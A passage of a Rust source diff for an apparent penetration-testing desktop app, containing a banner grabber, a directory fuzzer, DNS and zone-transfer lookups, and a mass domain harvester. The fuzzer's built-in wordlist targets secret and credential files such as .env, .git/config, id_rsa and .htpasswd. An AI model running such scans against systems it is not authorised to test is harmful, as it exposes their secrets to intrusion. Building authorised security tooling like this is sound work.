let banner = banner_raw.trim_end_matches(['\r', '\n', '\0']).to_string();
let (service, version) = fingerprint(port, &banner);
// If banner is empty but we got bytes (binary), keep as-is
let display = if banner.is_empty() && read > 0 {
format!("[binary {} bytes]", read)
} else {
// strip non-printable for display
banner.chars().map(|c| if c.is_ascii_graphic() || c == ' ' || c == '\n' { c } else { '.' }).collect::<String>()
};
Some(BannerHit { port, banner: display, service, version, bytes: read })
}
#[tauri::command]
pub async fn banner_grab(app: AppHandle, req: BannerRequest) -> Result<Vec<BannerHit>, String> {
let total = req.ports.len();
let _ = app.emit("banner:status", format!("grabbing banners on {} port(s)", total));
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
let host = Arc::new(req.host.clone());
let hits: Vec<BannerHit> = stream::iter(req.ports.into_iter())
.map(|port| {
let sem = sem.clone();
let done = done.clone();
let app = app.clone();
let host = host.clone();
async move {
let _permit = sem.acquire().await.unwrap();
let res = grab(&host, port, req.timeout_ms).await;
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("banner:progress", serde_json::json!({"done": n, "total": total}));
if let Some(ref h) = res {
let _ = app.emit("banner:hit", h.clone());
}
res
}
})
.buffer_unordered(req.concurrency.max(1))
.filter_map(|x| async move { x })
.collect()
.await;
let _ = app.emit("banner:done", hits.len());
Ok(hits)
}

View File

@@ -0,0 +1,283 @@
// ===================================================================
// Directory Fuzzer — feroxbuster-style content discovery.
// Streams hits via events. Supports extensions, recursion, filters.
// ===================================================================
use std::collections::HashMap;
use std::sync::Arc;
use std::time::Duration;
use futures::stream::{self, StreamExt};
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use tokio::sync::{Mutex, Semaphore};
#[derive(Debug, Clone, Deserialize)]
pub struct DirFuzzRequest {
pub base_url: String,
pub wordlist: Vec<String>,
#[serde(default)]
pub extensions: Vec<String>,
#[serde(default)]
pub accept_status: Option<Vec<u16>>,
#[serde(default)]
pub size_min: Option<u64>,
#[serde(default)]
pub size_max: Option<u64>,
pub concurrency: usize,
pub timeout_ms: u64,
#[serde(default)]
pub follow_redirects: bool,
#[serde(default)]
pub recursive: bool,
#[serde(default = "default_depth")]
pub recursion_depth: u8,
#[serde(default)]
pub headers: HashMap<String, String>,
#[serde(default)]
pub user_agent: Option<String>,
}
fn default_depth() -> u8 { 2 }
#[derive(Debug, Clone, Serialize)]
pub struct DirHit {
pub url: String,
pub status: u16,
pub size: u64,
pub words: usize,
pub lines: usize,
pub redirect: Option<String>,
pub title: Option<String>,
pub content_type: Option<String>,
pub time_ms: u128,
}
fn default_statuses() -> Vec<u16> {
vec![200, 201, 204, 301, 302, 307, 308, 401, 403, 405]
}
fn build_client(req: &DirFuzzRequest) -> reqwest::Client {
let ua = req.user_agent.clone()
.unwrap_or_else(|| "Mozilla/5.0 (PocketPentester-DirFuzz)".into());
reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(req.timeout_ms))
.redirect(if req.follow_redirects {
reqwest::redirect::Policy::limited(5)
} else {
reqwest::redirect::Policy::none()
})
.user_agent(ua)
.build()
.unwrap_or_else(|_| reqwest::Client::new())
}
fn expand_paths(word: &str, extensions: &[String]) -> Vec<String> {
let w = word.trim().trim_start_matches('/');
if w.is_empty() { return vec![]; }
let mut out = vec![w.to_string()];
for ext in extensions {
let e = ext.trim();
if e.is_empty() { continue; }
let normalized = if e.starts_with('.') { e.to_string() } else { format!(".{e}") };
out.push(format!("{w}{normalized}"));
}
out
}
fn parse_title(body: &str) -> Option<String> {
let lower = body.to_lowercase();
let start = lower.find("<title")?;
let rest = &body[start..];
let body_start = rest.find('>')? + 1;
let end = lower[start..].find("</title>")?;
let title = &rest[body_start..end];
let t = title.trim();
if t.is_empty() { None } else { Some(t.chars().take(100).collect()) }
}
async fn probe(
client: &reqwest::Client,
url: &str,
headers: &HashMap<String, String>,
) -> Option<DirHit> {
let start = std::time::Instant::now();
let mut builder = client.get(url);
for (k, v) in headers {
if k.trim().is_empty() { continue; }
builder = builder.header(k.trim(), v);
}
let resp = builder.send().await.ok()?;
let status = resp.status().as_u16();
let content_type = resp.headers().get("content-type")
.and_then(|v| v.to_str().ok()).map(String::from);
let redirect = resp.headers().get("location")
.and_then(|v| v.to_str().ok()).map(String::from);
let body = resp.text().await.unwrap_or_default();
let time_ms = start.elapsed().as_millis();
Some(DirHit {
url: url.to_string(),
status,
size: body.len() as u64,
words: body.split_whitespace().count(),
lines: body.lines().count(),
redirect,
title: parse_title(&body),
content_type,
time_ms,
})
}
#[tauri::command]
pub async fn dirfuzz_run(app: AppHandle, req: DirFuzzRequest) -> Result<Vec<DirHit>, String> {
let base = req.base_url.trim_end_matches('/').to_string();
let client = Arc::new(build_client(&req));
let accept: Vec<u16> = req.accept_status.clone().unwrap_or_else(default_statuses);
let accept_set: std::collections::HashSet<u16> = accept.iter().copied().collect();
// ---- baseline calibration: fetch a random non-existent path to detect wildcard 200s ----
let wildcard_marker = format!("__xploit_wildcard_{}_{}", rand::random::<u32>(), rand::random::<u32>());
let wildcard_url = format!("{}/{}", base, wildcard_marker);
let wildcard_size: Option<u64> = probe(&client, &wildcard_url, &req.headers).await
.filter(|h| accept_set.contains(&h.status))
.map(|h| h.size);
if let Some(sz) = wildcard_size {
let _ = app.emit("dirfuzz:status",
format!("wildcard calibration: {} returned status (size={}) — same-size responses will be filtered", wildcard_url, sz));
}
// ---- build initial path list ----
let mut initial_paths: Vec<String> = Vec::new();
for w in &req.wordlist {
for p in expand_paths(w, &req.extensions) {
initial_paths.push(p);
}
}
let queue: Arc<Mutex<Vec<(String, u8)>>> = Arc::new(Mutex::new(vec![(base.clone(), 0)]));
let all_hits: Arc<Mutex<Vec<DirHit>>> = Arc::new(Mutex::new(Vec::new()));
let total_done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
loop {
let (current_base, depth) = {
let mut q = queue.lock().await;
if q.is_empty() { break; }
q.remove(0)
};
let urls: Vec<String> = initial_paths.iter()
.map(|p| format!("{}/{}", current_base.trim_end_matches('/'), p))
.collect();
let total = urls.len();
let _ = app.emit("dirfuzz:status",
format!("fuzzing {} (depth {}): {} paths", current_base, depth, total));
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
let local_hits: Arc<Mutex<Vec<DirHit>>> = Arc::new(Mutex::new(Vec::new()));
stream::iter(urls.into_iter())
.map(|url| {
let client = client.clone();
let sem = sem.clone();
let headers = req.headers.clone();
let accept_set = accept_set.clone();
let size_min = req.size_min;
let size_max = req.size_max;
let wildcard_size = wildcard_size;
let total_done = total_done.clone();
let local_hits = local_hits.clone();
let all_hits_c = all_hits.clone();
let app = app.clone();
async move {
let _permit = sem.acquire().await.unwrap();
if let Some(hit) = probe(&client, &url, &headers).await {
let n = total_done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("dirfuzz:progress",
serde_json::json!({"done": n, "total_seen": total_done.load(std::sync::atomic::Ordering::Relaxed)}));
if !accept_set.contains(&hit.status) { return; }
if let Some(min) = size_min { if hit.size < min { return; } }
if let Some(max) = size_max { if hit.size > max { return; } }
if let Some(wsz) = wildcard_size { if hit.size == wsz { return; } }
let _ = app.emit("dirfuzz:hit", hit.clone());
local_hits.lock().await.push(hit.clone());
all_hits_c.lock().await.push(hit);
} else {
total_done.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
}
}
})
.buffer_unordered(req.concurrency.max(1))
.for_each(|_| async {})
.await;
// recursion: enqueue hits that look like directories
if req.recursive && depth < req.recursion_depth {
let hits = local_hits.lock().await;
for h in hits.iter() {
let looks_like_dir = h.status == 301 || h.status == 302
|| h.url.ends_with('/')
|| h.redirect.as_deref().map(|r| r.ends_with('/')).unwrap_or(false);
if looks_like_dir {
let mut q = queue.lock().await;
q.push((h.url.trim_end_matches('/').to_string(), depth + 1));
}
}
}
}
let hits = all_hits.lock().await.clone();
let _ = app.emit("dirfuzz:done", hits.len());
Ok(hits)
}
#[tauri::command]
pub fn dirfuzz_common_wordlist() -> Vec<String> {
// compact default wordlist — 150 of the highest-signal paths
vec![
"admin", "administrator", "login", "signin", "signup", "register",
"dashboard", "api", "api/v1", "api/v2", "api/v3", "graphql",
"robots.txt", "sitemap.xml", "crossdomain.xml", "clientaccesspolicy.xml",
".git/config", ".git/HEAD", ".git/logs/HEAD", ".svn/entries", ".hg/hgrc",
".env", ".env.local", ".env.production", ".env.backup",
"config", "config.php", "config.json", "config.yml", "config.xml",
"backup", "backup.zip", "backup.tar.gz", "backup.sql", "backup.bak",
"db.sql", "dump.sql", "database.sql", "site.sql",
"test", "test.php", "test.html", "phpinfo.php", "info.php",
"server-status", "server-info", "status",
"wp-admin", "wp-login.php", "wp-content", "wp-includes", "wp-config.php",
"administrator/index.php", "user/login", "users/sign_in",
"phpmyadmin", "myadmin", "mysql", "dbadmin", "adminer", "adminer.php",
".htaccess", ".htpasswd", ".DS_Store", "thumbs.db",
"uploads", "upload", "files", "file", "download", "downloads",
"images", "img", "assets", "static", "public", "private",
"docs", "doc", "documentation", "swagger", "swagger.json",
"swagger-ui.html", "api-docs", "openapi.json", "openapi.yaml",
"console", "actuator", "actuator/health", "actuator/env", "actuator/info",
"metrics", "prometheus", "health", "healthcheck", "readiness", "liveness",
"debug", "trace", "error", "errors", "log", "logs", "error_log",
"jenkins", "phpunit", "webdav", "manager/html", "tomcat",
"portal", "support", "help", "about", "contact", "feedback",
"mail", "email", "webmail", "smtp", "imap",
"vpn", "sso", "auth", "oauth", "oauth2", "openid",
".well-known/security.txt", ".well-known/openid-configuration",
".well-known/acme-challenge", ".well-known/nodeinfo",
"index.php", "index.html", "index.asp", "index.aspx", "index.jsp",
"home", "main", "default",
"secret", "private.key", "id_rsa", "id_dsa",
"setup", "install", "installer", "setup.php",
"cgi-bin", "cgi-bin/test.sh", "cgi-bin/info.sh",
"dev", "development", "staging", "stage", "beta", "qa", "uat",
"old", "new", "tmp", "temp", "cache",
"api/users", "api/user", "api/me", "api/login", "api/admin",
"admin/login", "admin/config", "admin/users",
"fckeditor", "ckeditor", "tinymce", "editor",
"vendor", "node_modules", "composer.json", "composer.lock",
"package.json", "yarn.lock", "webpack.config.js",
"wp-json", "wp-json/wp/v2", "wp-json/wp/v2/users",
].into_iter().map(String::from).collect()
}

View File

@@ -0,0 +1,263 @@
// ===================================================================
// DNS Tools — comprehensive record lookup + zone transfer + DNSSEC
// ===================================================================
use std::net::SocketAddr;
use std::time::Duration;
use hickory_resolver::config::{NameServerConfig, Protocol, ResolverConfig, ResolverOpts};
use hickory_resolver::proto::rr::RecordType;
use hickory_resolver::TokioAsyncResolver;
use serde::{Deserialize, Serialize};
use tokio::net::TcpStream;
use tokio::time::timeout;
#[derive(Debug, Clone, Deserialize)]
pub struct DnsRequest {
pub domain: String,
#[serde(default)]
pub resolver: Option<String>, // e.g. "1.1.1.1:53", "8.8.8.8:53", "internal-dns.corp:53"
#[serde(default)]
pub types: Option<Vec<String>>, // subset to query, None = all
#[serde(default)]
pub try_axfr: bool,
}
#[derive(Debug, Clone, Serialize)]
pub struct DnsReport {
pub domain: String,
pub records: Vec<DnsRecordGroup>,
pub axfr: Option<AxfrResult>,
pub dnssec: DnssecCheck,
pub errors: Vec<String>,
}
#[derive(Debug, Clone, Serialize)]
pub struct DnsRecordGroup {
pub rtype: String,
pub values: Vec<String>,
}
#[derive(Debug, Clone, Serialize)]
pub struct AxfrResult {
pub success: bool,
pub nameserver: String,
pub records_dumped: Vec<String>,
pub error: Option<String>,
}
#[derive(Debug, Clone, Serialize)]
pub struct DnssecCheck {
pub dnskey_count: usize,
pub has_dnssec: bool,
}
fn build_resolver(custom: Option<&str>) -> Result<TokioAsyncResolver, String> {
let mut opts = ResolverOpts::default();
opts.timeout = Duration::from_secs(4);
opts.attempts = 2;
if let Some(addr) = custom {
let sa: SocketAddr = if addr.contains(':') {
addr.parse().map_err(|e| format!("bad resolver addr: {e}"))?
} else {
format!("{addr}:53").parse().map_err(|e| format!("bad resolver addr: {e}"))?
};
let mut cfg = ResolverConfig::new();
cfg.add_name_server(NameServerConfig {
socket_addr: sa,
protocol: Protocol::Udp,
tls_dns_name: None,
trust_negative_responses: false,
bind_addr: None,
});
Ok(TokioAsyncResolver::tokio(cfg, opts))
} else {
Ok(TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts))
}
}
fn all_types() -> Vec<(&'static str, RecordType)> {
vec![
("A", RecordType::A),
("AAAA", RecordType::AAAA),
("MX", RecordType::MX),
("NS", RecordType::NS),
("CNAME", RecordType::CNAME),
("TXT", RecordType::TXT),
("SOA", RecordType::SOA),
("CAA", RecordType::CAA),
("SRV", RecordType::SRV),
("PTR", RecordType::PTR),
]
}
async fn try_axfr(domain: &str, nameserver: &str) -> AxfrResult {
// Best-effort AXFR via raw TCP to port 53.
// Build a minimal DNS AXFR query (type 252) and read packets.
// Most public servers will refuse (REFUSED rcode) — this is mostly a
// "is this server misconfigured" check.
let addr: SocketAddr = match format!("{nameserver}:53").parse() {
Ok(a) => a,
Err(e) => return AxfrResult { success: false, nameserver: nameserver.into(), records_dumped: vec![], error: Some(e.to_string()) },
};
let stream_res = timeout(Duration::from_secs(5), TcpStream::connect(addr)).await;
let mut stream = match stream_res {
Ok(Ok(s)) => s,
Ok(Err(e)) => return AxfrResult { success: false, nameserver: nameserver.into(), records_dumped: vec![], error: Some(e.to_string()) },
Err(_) => return AxfrResult { success: false, nameserver: nameserver.into(), records_dumped: vec![], error: Some("connect timeout".into()) },
};
let mut query: Vec<u8> = Vec::new();
// DNS header (12 bytes): tx=0, flags=0x0100 (RD), questions=1
query.extend_from_slice(&[0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0]);
// QNAME
for label in domain.trim_end_matches('.').split('.') {
let bytes = label.as_bytes();
query.push(bytes.len() as u8);
query.extend_from_slice(bytes);
}
query.push(0);
// QTYPE=252 AXFR, QCLASS=IN
query.extend_from_slice(&[0, 252, 0, 1]);
// TCP DNS prepends 2-byte length
let mut framed = Vec::with_capacity(query.len() + 2);
let len = query.len() as u16;
framed.extend_from_slice(&len.to_be_bytes());
framed.extend_from_slice(&query);
use tokio::io::{AsyncReadExt, AsyncWriteExt};
if let Err(e) = stream.write_all(&framed).await {
return AxfrResult { success: false, nameserver: nameserver.into(), records_dumped: vec![], error: Some(e.to_string()) };
}
let _ = stream.flush().await;
// Read up to 32KB of responses, parse roughly — just count record names.
let mut out: Vec<String> = Vec::new();
let mut total = 0usize;
loop {
let mut len_buf = [0u8; 2];
let r = timeout(Duration::from_secs(4), stream.read_exact(&mut len_buf)).await;
match r {
Ok(Ok(_)) => {}
_ => break,
}
let rlen = u16::from_be_bytes(len_buf) as usize;
if rlen == 0 || rlen > 65535 { break; }
let mut buf = vec![0u8; rlen];
if timeout(Duration::from_secs(4), stream.read_exact(&mut buf)).await.is_err() { break; }
total += buf.len();
// check RCODE in response flags
if buf.len() >= 4 {
let rcode = buf[3] & 0x0F;
if rcode != 0 {
return AxfrResult {
success: false,
nameserver: nameserver.into(),
records_dumped: vec![],
error: Some(format!("RCODE {rcode} (refused/notauth/other)")),
};
}
}
// naive: parse names from answer section (skip header + question)
if let Some(names) = extract_names(&buf) {
for n in names {
if !out.contains(&n) { out.push(n); }
}
}
if total > 65536 { break; }
}
AxfrResult {
success: !out.is_empty(),
nameserver: nameserver.into(),
records_dumped: out,
error: None,
}
}
// Best-effort name extractor — walks bytes looking for printable labels.
fn extract_names(packet: &[u8]) -> Option<Vec<String>> {
if packet.len() < 12 { return None; }
let mut out: Vec<String> = Vec::new();
let mut i = 12; // skip header
let mut seen = std::collections::HashSet::new();
while i < packet.len() {
let len = packet[i] as usize;
if len == 0 { i += 1; continue; }
if len & 0xC0 == 0xC0 { i += 2; continue; }
if i + 1 + len > packet.len() { break; }
if len < 64 {
let bytes = &packet[i + 1..i + 1 + len];
if bytes.iter().all(|b| b.is_ascii_graphic()) {
let s = String::from_utf8_lossy(bytes).to_string();
if !seen.contains(&s) && s.len() > 1 {
seen.insert(s.clone());
out.push(s);
}
}
}
i += 1 + len;
}
Some(out)
}
#[tauri::command]
pub async fn dns_query(req: DnsRequest) -> Result<DnsReport, String> {
let resolver = build_resolver(req.resolver.as_deref())?;
let wanted: Vec<(&'static str, RecordType)> = match &req.types {
Some(v) if !v.is_empty() => all_types().into_iter().filter(|(n, _)| v.iter().any(|x| x.eq_ignore_ascii_case(n))).collect(),
_ => all_types(),
};
let mut records: Vec<DnsRecordGroup> = Vec::new();
let mut errors: Vec<String> = Vec::new();
let mut nameservers: Vec<String> = Vec::new();
for (name, rt) in wanted {
let result = resolver.lookup(req.domain.as_str(), rt).await;
match result {
Ok(lookup) => {
let values: Vec<String> = lookup.iter().map(|r| r.to_string()).collect();
if !values.is_empty() {
if name == "NS" {
for v in &values { nameservers.push(v.trim_end_matches('.').to_string()); }
}
records.push(DnsRecordGroup { rtype: name.to_string(), values });
}
}
Err(e) => {
let msg = format!("{name}: {e}");
// "no records found" is noise — only log if not NoRecordsFound
if !msg.to_lowercase().contains("no record") {
errors.push(msg);
}
}
}
}
// DNSSEC check — presence of DNSKEY
let dnssec = match resolver.lookup(req.domain.as_str(), RecordType::DNSKEY).await {
Ok(lookup) => {
let count = lookup.iter().count();
DnssecCheck { dnskey_count: count, has_dnssec: count > 0 }
}
Err(_) => DnssecCheck { dnskey_count: 0, has_dnssec: false },
};
// AXFR attempt
let axfr = if req.try_axfr {
let ns = nameservers.first().cloned().unwrap_or_default();
if ns.is_empty() {
Some(AxfrResult { success: false, nameserver: String::new(), records_dumped: vec![], error: Some("no NS records to attempt AXFR".into()) })
} else {
Some(try_axfr(&req.domain, &ns).await)
}
} else {
None
};
Ok(DnsReport { domain: req.domain, records, axfr, dnssec, errors })
}

View File

@@ -0,0 +1,576 @@
// ===================================================================
// Domain Grabber — mass-harvest real domains by TLD extension.
//
// Sources (researched for reliability, free, no API key):
// - crt.sh — cert transparency (needs keyword for bulk)
// - commoncrawl — CDX index over billions of crawled URLs
// - rapiddns — 3B+ DNS records, HTML-scrape endpoint
// - hackertarget — 50/day/IP hostsearch
// - certspotter — CT issuances (keyword required)
// - wordlist-id — 4k Indonesian common words + DNS resolve (bundled)
// - wordlist-id-full — 18k KBBI dictionary + DNS resolve (bundled)
//
// IANA catalog integration: fetch iana.org/domains/root/db → 1500+ TLDs.
// ===================================================================
use std::collections::HashSet;
use std::sync::Arc;
use std::time::Duration;
use futures::stream::{self, StreamExt};
use hickory_resolver::config::{ResolverConfig, ResolverOpts};
use hickory_resolver::TokioAsyncResolver;
use once_cell::sync::Lazy;
use regex::Regex;
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use tokio::sync::Semaphore;
// ------------------------------------------------------------------
// Bundled Indonesian wordlists (embedded at compile time)
// ------------------------------------------------------------------
const WORDLIST_ID_KOMPAS: &str = include_str!("../../wordlists/id-kompas.lst");
const WORDLIST_ID_KBBI: &str = include_str!("../../wordlists/id-kbbi.lst");
const WORDLIST_EN_COMMON: &str = include_str!("../../wordlists/en-common.lst");
const WORDLIST_SUBS: &str = include_str!("../../wordlists/subs-top5k.lst");
fn parse_wordlist(raw: &str) -> Vec<String> {
raw.lines()
.map(|l| l.trim().to_lowercase())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
// only DNS-valid labels: a-z 0-9 - (no spaces, no unicode)
.filter(|l| l.chars().all(|c| c.is_ascii_alphanumeric() || c == '-'))
.filter(|l| !l.starts_with('-') && !l.ends_with('-') && l.len() >= 2 && l.len() <= 63)
.collect()
}
static WL_KOMPAS: Lazy<Vec<String>> = Lazy::new(|| parse_wordlist(WORDLIST_ID_KOMPAS));
static WL_KBBI: Lazy<Vec<String>> = Lazy::new(|| parse_wordlist(WORDLIST_ID_KBBI));
static WL_EN_COMMON: Lazy<Vec<String>> = Lazy::new(|| parse_wordlist(WORDLIST_EN_COMMON));
static WL_SUBS: Lazy<Vec<String>> = Lazy::new(|| parse_wordlist(WORDLIST_SUBS));
#[tauri::command]
pub fn wordlist_info() -> serde_json::Value {
serde_json::json!({
"id-kompas": { "name": "Indonesian common (Kompas corpus)", "count": WL_KOMPAS.len() },
"id-kbbi": { "name": "Indonesian KBBI dictionary", "count": WL_KBBI.len() },
"en-common": { "name": "English common words", "count": WL_EN_COMMON.len() },
"subs-top5k": { "name": "Top 5k subdomain prefixes", "count": WL_SUBS.len() },
})
}
// ------------------------------------------------------------------
// IANA TLD list
// ------------------------------------------------------------------
#[derive(Debug, Clone, Serialize)]
pub struct IanaTld {
pub tld: String, // e.g. ".com"
pub kind: String, // generic / country-code / sponsored / generic-restricted / infrastructure
pub sponsor: String, // registry manager
}
#[tauri::command]
pub async fn iana_tld_list() -> Result<Vec<IanaTld>, String> {
let client = reqwest::Client::builder()
.timeout(Duration::from_secs(25))
.user_agent("Mozilla/5.0 (PocketPentester-DomainGrabber)")
.build()
.map_err(|e| e.to_string())?;
let html = client
.get("https://www.iana.org/domains/root/db")
.send().await.map_err(|e| e.to_string())?
.error_for_status().map_err(|e| e.to_string())?
.text().await.map_err(|e| e.to_string())?;
let row_re = Regex::new(r"(?s)<tr>(.*?)</tr>").unwrap();
let td_re = Regex::new(r"(?s)<td[^>]*>(.*?)</td>").unwrap();
let tag_re = Regex::new(r"<[^>]+>").unwrap();
let ws_re = Regex::new(r"\s+").unwrap();
let mut out: Vec<IanaTld> = Vec::new();
for row in row_re.captures_iter(&html) {
let row_html = &row[1];
let cells: Vec<String> = td_re.captures_iter(row_html)
.map(|c| {
let plain = tag_re.replace_all(&c[1], "");
ws_re.replace_all(plain.trim(), " ").to_string()
})
.collect();
if cells.len() != 3 { continue; }
let tld_raw = cells[0].trim().to_string();
// skip header rows, empties, and non-TLD entries
if !tld_raw.starts_with('.') || tld_raw.len() < 2 { continue; }
out.push(IanaTld {
tld: tld_raw.to_lowercase(),
kind: cells[1].clone(),
sponsor: cells[2].clone(),
});
}
out.sort_by(|a, b| a.tld.cmp(&b.tld));
Ok(out)
}
// ------------------------------------------------------------------
// Domain grabbing
// ------------------------------------------------------------------
#[derive(Debug, Clone, Deserialize)]
pub struct GrabRequest {
pub tld: String, // ".id" / "id" / "co.id" / "gov.uk"
#[serde(default)]
pub keyword: Option<String>, // optional narrowing string
#[serde(default = "default_sources")]
pub sources: Vec<String>, // "crtsh" "urlscan" "wayback"
#[serde(default = "default_max")]
pub max_per_source: usize,
#[serde(default = "default_true")]
pub apex_only: bool,
#[serde(default = "default_timeout")]
pub timeout_ms: u64,
#[serde(default = "default_wl_conc")]
pub wordlist_concurrency: usize,
}
fn default_wl_conc() -> usize { 80 }
fn default_sources() -> Vec<String> { vec!["crtsh".into(), "rapiddns".into(), "hackertarget".into()] }
fn default_max() -> usize { 1000 }
fn default_true() -> bool { true }
fn default_timeout() -> u64 { 30_000 }
#[derive(Debug, Clone, Serialize)]
pub struct GrabHit {
pub domain: String,
pub source: String,
}
#[derive(Debug, Clone, Serialize)]
pub struct SourceStat {
pub source: String,
pub count: usize,
pub error: Option<String>,
pub took_ms: u128,
}
// Known multi-label public suffixes by TLD — minimal curated list.
// For proper support you'd use the full PSL; this handles common cases.
static MULTI_SUFFIXES: Lazy<Vec<&'static str>> = Lazy::new(|| vec![
// Indonesia
"co.id", "ac.id", "go.id", "or.id", "mil.id", "sch.id", "net.id", "web.id", "ponpes.id", "my.id", "biz.id", "desa.id",
// UK
"co.uk", "org.uk", "ac.uk", "gov.uk", "net.uk", "ltd.uk", "plc.uk",
// Japan
"co.jp", "ac.jp", "ne.jp", "or.jp", "go.jp", "ed.jp", "lg.jp",
// Australia
"com.au", "net.au", "org.au", "edu.au", "gov.au",
// Generic
"com.br", "com.mx", "com.ar", "com.tr", "com.sg", "com.my", "com.ph", "com.vn", "com.hk", "com.tw",
"edu.my", "gov.my", "gov.sg",
]);
fn normalize_tld(t: &str) -> String {
t.trim().trim_start_matches('.').to_lowercase()
}
fn apex_of(host: &str, tld: &str) -> String {
let h = host.trim_end_matches('.').to_lowercase();
let tld = tld.trim_start_matches('.');
if !h.ends_with(&format!(".{}", tld)) && h != tld { return h; }
// Check multi-label suffix: if TLD itself includes a dot (e.g. co.id input) use as-is.
let parts: Vec<&str> = h.split('.').collect();
// find effective suffix
let mut eff_labels: usize = tld.split('.').count();
for suf in MULTI_SUFFIXES.iter() {
if h.ends_with(&format!(".{}", suf)) || h == *suf {
eff_labels = suf.split('.').count();
break;
}
}
// apex = last (eff_labels + 1) labels
let total = parts.len();
let take = (eff_labels + 1).min(total);
parts[total - take..].join(".")
}
fn host_from_url(u: &str) -> Option<String> {
url::Url::parse(u).ok().and_then(|p| p.host_str().map(|s| s.to_lowercase()))
}
fn clean_host(s: &str, tld: &str) -> Option<String> {
let h = s.trim().trim_start_matches("*.").trim_start_matches('.').to_lowercase();
let h = h.split_whitespace().next()?.to_string();
if h.is_empty() { return None; }
if h.contains('@') || h.contains(' ') || h.contains('/') { return None; }
if !h.ends_with(&format!(".{}", tld)) && h != tld { return None; }
Some(h)
}
const BROWSER_UA: &str = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
async fn fetch_with_retry(
client: &reqwest::Client,
url: &str,
extra_headers: &[(&str, &str)],
attempts: u32,
) -> anyhow::Result<String> {
let mut last_err: Option<String> = None;
for attempt in 1..=attempts {
let mut req = client.get(url)
.header("User-Agent", BROWSER_UA)
.header("Accept", "application/json, text/plain, */*")
.header("Accept-Language", "en-US,en;q=0.9")
.header("Accept-Encoding", "gzip, deflate");
for (k, v) in extra_headers { req = req.header(*k, *v); }
match req.send().await {
Ok(resp) => {
let status = resp.status();
let body = resp.text().await.unwrap_or_default();
if status.is_success() { return Ok(body); }
let snippet: String = body.chars().take(160).collect();
last_err = Some(format!("HTTP {status}{}", snippet));
if status.as_u16() == 429 || status.is_server_error() {
tokio::time::sleep(Duration::from_millis(1000 * attempt as u64)).await;
continue;
} else {
break; // 4xx other than 429 — no point retrying
}
}
Err(e) => {
last_err = Some(e.to_string());
tokio::time::sleep(Duration::from_millis(500 * attempt as u64)).await;
}
}
}
Err(anyhow::anyhow!(last_err.unwrap_or_else(|| "unknown".into())))
}
// ---- source: crt.sh ----
async fn src_crtsh(
client: &reqwest::Client, tld: &str, keyword: Option<&str>,
) -> anyhow::Result<Vec<String>> {
// crt.sh uses SQL LIKE patterns. `%` must be URL-encoded as %25.
let q = match keyword {
Some(k) if !k.is_empty() => format!("%25{}%25.{}", k, tld),
_ => format!("%25.{}", tld),
};
let url = format!("https://crt.sh/?q={}&output=json", q);
let body = fetch_with_retry(client, &url, &[("Referer", "https://crt.sh/")], 3).await?;
if body.trim().is_empty() {
anyhow::bail!("empty body (query too broad or server busy — try with a keyword)");
}
let val: serde_json::Value = serde_json::from_str(&body)
.map_err(|e| anyhow::anyhow!("json: {e} — got HTML maybe (body snippet: {})", body.chars().take(80).collect::<String>()))?;
let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]);
let mut out: Vec<String> = Vec::new();
for r in arr {
if let Some(nv) = r.get("name_value").and_then(|v| v.as_str()) {
for line in nv.split('\n') {
if let Some(h) = clean_host(line, tld) { out.push(h); }
}
}
}
Ok(out)
}
// ---- source: Common Crawl CDX (billions of crawled URLs) ----
async fn src_commoncrawl(
client: &reqwest::Client, tld: &str, keyword: Option<&str>, max: usize,
) -> anyhow::Result<Vec<String>> {
// 1. Fetch latest collection ID
let info_body = fetch_with_retry(client, "https://index.commoncrawl.org/collinfo.json", &[], 2).await?;
let info: serde_json::Value = serde_json::from_str(&info_body)
.map_err(|e| anyhow::anyhow!("collinfo json: {e}"))?;
let collection_id = info.as_array()
.and_then(|a| a.first())
.and_then(|c| c.get("id"))
.and_then(|v| v.as_str())
.ok_or_else(|| anyhow::anyhow!("no CC collection found"))?;
// 2. Query CDX index for URLs matching *.{tld}
let url_pat = match keyword {
Some(k) if !k.is_empty() => format!("*{k}*.{tld}"),
_ => format!("*.{tld}"),
};
let lim = max.min(5_000).to_string();
let cdx_url = format!("https://index.commoncrawl.org/{}-index", collection_id);
let url_obj = reqwest::Url::parse_with_params(
&cdx_url,
&[
("url", url_pat.as_str()),
("output", "json"),
("fl", "url"),
("limit", lim.as_str()),
],
).map_err(|e| anyhow::anyhow!("url build: {e}"))?;
let body = fetch_with_retry(client, url_obj.as_str(), &[], 2).await?;
if body.trim().is_empty() { return Ok(vec![]); }
// NDJSON response (one JSON obj per line)
let mut out = Vec::new();
for line in body.lines() {
if line.trim().is_empty() { continue; }
if let Ok(val) = serde_json::from_str::<serde_json::Value>(line) {
if let Some(u) = val.get("url").and_then(|v| v.as_str()) {
if let Some(h) = host_from_url(u) {
if let Some(cleaned) = clean_host(&h, tld) { out.push(cleaned); }
}
}
}
}
Ok(out)
}
// ---- source: rapiddns.io (3B+ DNS records, HTML scrape) ----
async fn src_rapiddns(
client: &reqwest::Client, tld: &str, keyword: Option<&str>,
) -> anyhow::Result<Vec<String>> {
// rapiddns supports: /subdomain/DOMAIN (needs full domain) or /s/KEYWORD?full=1
let url = match keyword {
Some(k) if !k.is_empty() => {
// keyword-based search returns domains matching a substring
format!("https://rapiddns.io/s/{}.{}?full=1", k, tld)
}
_ => format!("https://rapiddns.io/s/{}?full=1", tld),
};
let html = fetch_with_retry(client, &url, &[
("Referer", "https://rapiddns.io/"),
], 2).await?;
// parse HTML table rows: <td>domain.tld</td>
let re = Regex::new(r#"<td[^>]*>([a-zA-Z0-9_.\-]+\.[a-zA-Z]{2,})</td>"#)?;
let mut out = Vec::new();
